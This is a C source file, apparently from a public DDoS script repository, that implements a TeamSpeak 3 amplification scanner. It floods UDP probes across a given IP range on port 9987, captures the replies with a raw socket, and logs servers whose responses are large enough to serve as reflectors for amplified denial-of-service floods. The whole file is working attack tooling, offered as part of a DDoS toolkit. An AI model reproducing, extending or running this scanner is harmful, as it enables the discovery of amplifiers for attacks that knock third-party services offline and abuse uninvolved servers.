Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/ts3_amp.c
4607 views
1
/* Script make AnonnPL, look at TeamSpeakCrack.com */
2
#include <pthread.h>
3
#include <unistd.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/socket.h>
8
#include <netinet/in.h>
9
#include <signal.h>
10
#include <sys/time.h>
11
#include <sys/types.h>
12
#include <math.h>
13
#include <ctype.h>
14
#include <errno.h>
15
#include <arpa/inet.h>
16
#include <netinet/ip.h>
17
#include <netinet/udp.h>
18
19
volatile int running_threads = 0;
20
volatile int found_srvs = 0;
21
volatile unsigned long per_thread = 0;
22
volatile unsigned long start = 0;
23
volatile unsigned long scanned = 0;
24
volatile int sleep_between = 0;
25
volatile int bytes_sent = 0;
26
volatile unsigned long hosts_done = 0;
27
FILE *fd;
28
char payload[] = "\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02";
29
size = 13;
30
31
void *flood(void *par1)
32
{
33
running_threads++;
34
int thread_id = (int)par1;
35
unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
36
unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
37
unsigned long w;
38
int y;
39
unsigned char buf[65536];
40
memset(buf, 0x01, 1);
41
int sizeofpayload = 1;
42
int sock;
43
if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
44
perror("cant open socket");
45
exit(-1);
46
}
47
for(w=ntohl(start_ip);w<htonl(end);w++)
48
{
49
struct sockaddr_in servaddr;
50
bzero(&servaddr, sizeof(servaddr));
51
servaddr.sin_family = AF_INET;
52
servaddr.sin_addr.s_addr=htonl(w);
53
servaddr.sin_port=htons(9987); //PORT TO SCAN
54
sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
55
bytes_sent+=size;
56
scanned++;
57
hosts_done++;
58
}
59
close(sock);
60
running_threads--;
61
return;
62
}
63
64
void sighandler(int sig)
65
{
66
fclose(fd);
67
printf("\n");
68
exit(0);
69
}
70
71
void *recievethread()
72
{
73
printf("\n");
74
int saddr_size, data_size, sock_raw;
75
struct sockaddr_in saddr;
76
struct in_addr in;
77
78
unsigned char *buffer = (unsigned char *)malloc(65536);
79
sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
80
if(sock_raw < 0)
81
{
82
printf("Socket Error\n");
83
exit(1);
84
}
85
while(1)
86
{
87
saddr_size = sizeof saddr;
88
data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
89
if(data_size <0 )
90
{
91
printf("Recvfrom error , failed to get packets\n");
92
exit(1);
93
}
94
struct iphdr *iph = (struct iphdr*)buffer;
95
if(iph->protocol == 17)
96
{
97
unsigned short iphdrlen = iph->ihl*4;
98
struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
99
unsigned char* payload = buffer + iphdrlen + 8;
100
if(ntohs(udph->source) == 9987) //PORT TO SCAN
101
{
102
int body_length = data_size - iphdrlen - 8;
103
104
if (body_length > 40)
105
106
{
107
found_srvs++;
108
109
fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
110
fflush(fd);
111
112
}
113
114
}
115
}
116
117
}
118
close(sock_raw);
119
120
}
121
122
int main(int argc, char *argv[ ])
123
{
124
125
if(argc < 6){
126
127
fprintf(stdout, "Usage : %s [START IP RANGE] [END] [.txt] [THREADS] [DELAY] \n", argv[0]);
128
exit(-1);
129
}
130
fd = fopen(argv[3], "a");
131
sleep_between = atoi(argv[5]);
132
133
signal(SIGINT, &sighandler);
134
135
int threads = atoi(argv[4]);
136
pthread_t thread;
137
138
pthread_t listenthread;
139
pthread_create( &listenthread, NULL, &recievethread, NULL);
140
141
char *str_start = malloc(18);
142
memset(str_start, 0, 18);
143
str_start = argv[1];
144
char *str_end = malloc(18);
145
memset(str_end, 0, 18);
146
str_end = argv[2];
147
start = inet_addr(str_start);
148
per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
149
unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
150
int i;
151
for(i = 0;i<threads;i++){
152
pthread_create( &thread, NULL, &flood, (void *) i);
153
}
154
sleep(1);
155
printf("Scan in Progress \n");
156
char *temp = (char *)malloc(17);
157
memset(temp, 0, 17);
158
sprintf(temp, "IP Found");
159
printf("%-16s", temp);
160
memset(temp, 0, 17);
161
sprintf(temp, "IP/s");
162
printf("%-16s", temp);
163
memset(temp, 0, 17);
164
sprintf(temp, "Byts/s");
165
printf("%-16s", temp);
166
memset(temp, 0, 17);
167
sprintf(temp, "Threads");
168
printf("%-16s", temp);
169
memset(temp, 0, 17);
170
sprintf(temp, "Percent");
171
printf("%s", temp);
172
printf("\n");
173
174
char *new;
175
new = (char *)malloc(16*6);
176
while (running_threads > 0)
177
{
178
printf("\r");
179
memset(new, '\0', 16*6);
180
sprintf(new, "%s|%-15lu", new, found_srvs);
181
sprintf(new, "%s|%-15d", new, scanned);
182
sprintf(new, "%s|%-15d", new, bytes_sent);
183
sprintf(new, "%s|%-15d", new, running_threads);
184
memset(temp, 0, 17);
185
int percent_done=((double)(hosts_done)/(double)(toscan))*100;
186
sprintf(temp, "%d%%", percent_done);
187
sprintf(new, "%s|%s", new, temp);
188
printf("%s", new);
189
fflush(stdout);
190
bytes_sent=0;
191
scanned = 0;
192
sleep(1);
193
}
194
printf("\n");
195
fclose(fd);
196
return 0;
197
}
198